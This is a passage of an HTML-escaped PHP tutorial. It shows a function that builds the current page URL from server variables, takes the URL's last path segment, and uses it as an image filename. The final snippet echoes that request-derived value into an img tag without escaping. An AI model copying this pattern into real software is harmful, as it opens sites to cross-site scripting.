&lt;span class=&quot;crayon-h&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$pageURL&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3160d10d-e64e-4dd2-b17b-aa1692afa552&quot; id=&quot;680b6797-f8d0-4e56-b373-5838f71deef3&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;SERVER_NAME&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3160d10d-e64e-4dd2-b17b-aa1692afa552&quot; id=&quot;78222e67-b95d-4f65-ac31-3a780047611f&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3160d10d-e64e-4dd2-b17b-aa1692afa552&quot; id=&quot;9d722c75-22cc-4f21-9082-050d6bf937a3&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;SERVER_PORT&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3160d10d-e64e-4dd2-b17b-aa1692afa552&quot; id=&quot;9fb0c0e4-8870-42f0-a83a-518254e7d2bf&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;3160d10d-e64e-4dd2-b17b-aa1692afa552&quot; id=&quot;aaf812c0-0421-49e3-aa60-949161c7ef5c&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;REQUEST_URI&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38cf3-8&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-st&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;f11ab1d0-059a-451b-9b14-d937545c07f2&quot; id=&quot;6fa62e8c-bd7e-4cf3-ba44-76af1bb58775&quot;&gt;else&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-9&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$pageURL&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;43b2e888-06b8-4bfa-b91b-60ac53b4033a&quot; id=&quot;662c880d-f3cd-49f1-a94c-a57d0b8ec38e&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;SERVER_NAME&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;43b2e888-06b8-4bfa-b91b-60ac53b4033a&quot; id=&quot;ccd9024f-bdb8-4761-9758-1337f1f8249a&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;43b2e888-06b8-4bfa-b91b-60ac53b4033a&quot; id=&quot;9d9af5cc-55dc-4c17-92b7-ae0bd979f78b&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&quot;REQUEST_URI&quot;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38cf3-10&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-11&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;2832e09e-a890-4b01-9b74-597e60e78337&quot; id=&quot;57bd27d7-aff4-4443-8e76-f52e6803de44&quot;&gt;return&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$pageURL&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38cf3-12&quot;&gt;
&lt;span class=&quot;crayon-sy&quot;&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38cf3-13&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
This code is a &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;7046a4d5-9ceb-4f75-b9bb-dc5355a39ff3&quot; id=&quot;60584818-684b-4be5-b2eb-50efa0932fea&quot;&gt;php&lt;/span&gt; function which allows you to find out the current page URL.&lt;br /&gt;

You can get the Current page URL like this&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628f38d3e&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;70d456fa-4b67-412f-b875-216af6a71cc1&quot; id=&quot;33f0d945-0513-43c2-ae81-57170c869ac8&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;70d456fa-4b67-412f-b875-216af6a71cc1&quot; id=&quot;0f5e2d18-1d5d-4dba-8c70-db7374d3f5ba&quot;&gt;php&lt;/span&gt;
  &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8d84fa6a-395a-49d0-bc2b-96247cb06db4&quot; id=&quot;6df4b5e2-27fd-4c90-86de-f11beb985a3b&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8d84fa6a-395a-49d0-bc2b-96247cb06db4&quot; id=&quot;ba449e87-fe29-4dd8-a8a4-321ad3bf535d&quot;&gt;curPageURL&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;8d84fa6a-395a-49d0-bc2b-96247cb06db4&quot; id=&quot;25205c47-7fea-490b-a3d8-af8717d7c28d&quot;&gt;(&lt;/span&gt;);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38d3e-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38d3e-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38d3e-3&quot;&gt;
3&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38d3e-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;db9402b2-be4a-47ba-8bb8-507d3133c9c2&quot; id=&quot;55c69524-6c23-46c9-962a-9d37cac6baff&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;db9402b2-be4a-47ba-8bb8-507d3133c9c2&quot; id=&quot;b0b808e6-f72d-4294-85e3-e077f39a2d22&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38d3e-2&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;crayon-k &quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;29a2b393-cf9c-4d0f-a2ce-afccb24a6852&quot; id=&quot;cde3098c-482a-4e7f-811f-089b69347282&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;29a2b393-cf9c-4d0f-a2ce-afccb24a6852&quot; id=&quot;3622cbbf-18f3-4f92-a2d0-61ba47307fca&quot;&gt;curPageURL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;29a2b393-cf9c-4d0f-a2ce-afccb24a6852&quot; id=&quot;7f0b8588-cec3-400f-b9a8-fe42c46a8aa8&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38d3e-3&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
This will print the current page URL. But for this tutorial we need to store it in a variable.&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628f38d80&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9b98ddd6-4394-42cd-99e5-23d4d51e33cb&quot; id=&quot;6ced4367-b00f-40e3-8a84-4cad34d989be&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9b98ddd6-4394-42cd-99e5-23d4d51e33cb&quot; id=&quot;dd37c43e-0d55-4270-a97f-105248843438&quot;&gt;php&lt;/span&gt;
  $cur = &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b07a5a61-0059-4e5b-97f6-a5cbeed011dc&quot; id=&quot;fd0b9cb7-d767-4a50-afbd-3dd13fa76570&quot;&gt;curPageURL&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b07a5a61-0059-4e5b-97f6-a5cbeed011dc&quot; id=&quot;4e6e187b-389a-4226-bc3a-7e7c45e42dca&quot;&gt;(&lt;/span&gt;);
?&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38d80-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38d80-2&quot;&gt;
2&lt;/div&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38d80-3&quot;&gt;
3&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38d80-1&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;&amp;lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;db764686-cbec-4013-bd6e-0bf70db0a6b6&quot; id=&quot;d8fe4861-fe4e-41c5-93e1-b1481defbcc9&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;db764686-cbec-4013-bd6e-0bf70db0a6b6&quot; id=&quot;c142e5fc-10dd-4854-8377-8848120ff445&quot;&gt;php&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38d80-2&quot;&gt;
&lt;span class=&quot;crayon-h&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$cur&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;518d4dcf-fd71-40bb-a571-f053b7283634&quot; id=&quot;0ecdcdd3-5425-4cc1-925a-5a70023bf893&quot;&gt;curPageURL&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;518d4dcf-fd71-40bb-a571-f053b7283634&quot; id=&quot;c39fd4ea-9b77-43d0-a7d6-a45e349ef3c9&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38d80-3&quot;&gt;
&lt;span class=&quot;crayon-ta&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
We’ve stored the current page URL in the &lt;a href=&quot;http://en.wikipedia.org/wiki/Variable&quot;&gt;variable&lt;/a&gt; ‘$cur’.&lt;br /&gt;

&lt;h3&gt;
Step 2&lt;/h3&gt;
Now we need to split the URL according to ‘/’ and have to select the last part.&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628f38dbe&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;$parts = Explode&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;5906276b-a02a-4863-9863-25e86b658673&quot; id=&quot;c84083a2-9c00-4e76-bc0b-c967594520eb&quot;&gt;(&lt;/span&gt;&#39;/&#39;, $cur);
$url = $parts&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9343b86c-46c5-4a8c-b07c-c70701f086d8&quot; id=&quot;44984502-f68f-4b08-9577-097a12cd6774&quot;&gt;[&lt;/span&gt;count&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;9343b86c-46c5-4a8c-b07c-c70701f086d8&quot; id=&quot;d0488c69-8430-4274-a664-6c2e3cd8c7c3&quot;&gt;(&lt;/span&gt;$parts) - 1];&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row alt&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38dbe-1&quot;&gt;
1&lt;/div&gt;
&lt;div class=&quot;crayon-num crayon-striped-num&quot; data-line=&quot;crayon-51d0628f38dbe-2&quot;&gt;
2&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38dbe-1&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$parts&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;Explode&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c5bed41d-a32b-44b7-8b9c-9cac2d1f8066&quot; id=&quot;a3e8ccc8-a0bb-4350-a776-744e29266dcb&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-s&quot;&gt;&#39;/&#39;&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$cur&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-line crayon-striped-line&quot; id=&quot;crayon-51d0628f38dbe-2&quot;&gt;
&lt;span class=&quot;crayon-v&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$parts&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;997d2da0-c615-4ff0-b9bc-b6d6ad8e0fe8&quot; id=&quot;220e0424-e610-4691-ac15-2aeb7e29eea3&quot;&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-e&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;997d2da0-c615-4ff0-b9bc-b6d6ad8e0fe8&quot; id=&quot;c0554e24-2ccf-4490-8e89-4c731c2ec514&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;crayon-v&quot;&gt;$parts&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;crayon-h&quot;&gt; &lt;/span&gt;&lt;span class=&quot;crayon-cn&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;crayon-sy&quot;&gt;;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
					&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
Note: if your URL is something like this 
‘http://www.example.com/pages/about’ you’ve to use the above code as it 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;ff03c6b9-b2f3-4895-98cd-c8360b1eac34&quot; id=&quot;3bbf6ac2-4b83-4324-816f-5de7459b08f9&quot;&gt;is&lt;/span&gt;, but if your URL is Like this ‘http://www.example.com/pages/about/’ 
&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;0b29ecb4-78b6-4d4f-89af-f4baf9550d75&quot; id=&quot;d9d4b1ad-7611-4f1e-bb85-155edd63f957&quot;&gt;you&lt;/span&gt;’ve to change the ‘-1′ to ‘-2′.&lt;br /&gt;

The above code will store last part of the URL in the variable $url for example ‘about’.&lt;br /&gt;

&lt;h3&gt;
Step 3&lt;/h3&gt;
Now all you need to do is save an image &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;b70a688d-5b1c-48e4-b3be-1a8924a6a9a6&quot; id=&quot;4f2f9961-34d7-48f4-97d6-17b7c4512a63&quot;&gt;in&lt;/span&gt; this name. &lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;65ec9319-027b-4201-a92f-76d4b5425fa6&quot; id=&quot;d582e99c-e91d-4cd5-814d-8e0b64b3512f&quot;&gt;eg&lt;/span&gt;. ‘about.jpg’&lt;br /&gt;

Then go to your page and put the following code where you want your image to be placed.&lt;br /&gt;



		&lt;div class=&quot;crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes&quot; data-settings=&quot; minimize scroll-mouseover&quot; id=&quot;crayon-51d0628f38dfd&quot; style=&quot;clear: both; float: none; font-size: 12px ! important; height: auto; line-height: 15px ! important; margin-bottom: 12px; margin-top: 12px;&quot;&gt;
		
			
			
			&lt;div class=&quot;crayon-plain-wrap&quot;&gt;
&lt;textarea class=&quot;crayon-plain print-no&quot; data-settings=&quot;dblclick&quot; readonly=&quot;readonly&quot; style=&quot;-moz-tab-size: 4; font-size: 12px ! important; line-height: 15px ! important; opacity: 0; overflow: hidden; z-index: 0;&quot; wrap=&quot;off&quot;&gt;&lt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c31f7438-0b27-4794-a237-955f7a27c2a6&quot; id=&quot;e89f04fa-bee4-4820-af94-dffe6d67504d&quot;&gt;img&lt;/span&gt; src=&quot;path/to/image/&lt;?&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;c31f7438-0b27-4794-a237-955f7a27c2a6&quot; id=&quot;cac53041-a105-404a-a3c1-4cc4070660a5&quot;&gt;php&lt;/span&gt; echo $url; ?&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;67b1dad3-fdad-4efd-aab9-6bf4716622ca&quot; id=&quot;edd1a452-cf78-4ac0-8aac-8b45e040b09d&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;GINGER_SOFATWARE_mark&quot; ginger_sofatware_uiphraseguid=&quot;67b1dad3-fdad-4efd-aab9-6bf4716622ca&quot; id=&quot;2da9f2e1-5ae7-4c08-ab45-4d265079940c&quot;&gt;jpg&lt;/span&gt;&quot; /&gt;&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;crayon-main&quot; style=&quot;overflow: hidden; position: relative; z-index: 1;&quot;&gt;
				&lt;table class=&quot;crayon-table&quot;&gt;
					&lt;tbody&gt;
&lt;tr class=&quot;crayon-row&quot;&gt;
				&lt;td class=&quot;crayon-nums &quot; data-settings=&quot;show&quot;&gt;
					&lt;div class=&quot;crayon-nums-content&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-num&quot; data-line=&quot;crayon-51d0628f38dfd-1&quot;&gt;
1&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;
						&lt;td class=&quot;crayon-code&quot;&gt;&lt;div class=&quot;crayon-pre&quot; style=&quot;font-size: 12px !important; line-height: 15px !important;&quot;&gt;
&lt;div class=&quot;crayon-line&quot; id=&quot;crayon-51d0628f38dfd-1&quot;&gt;
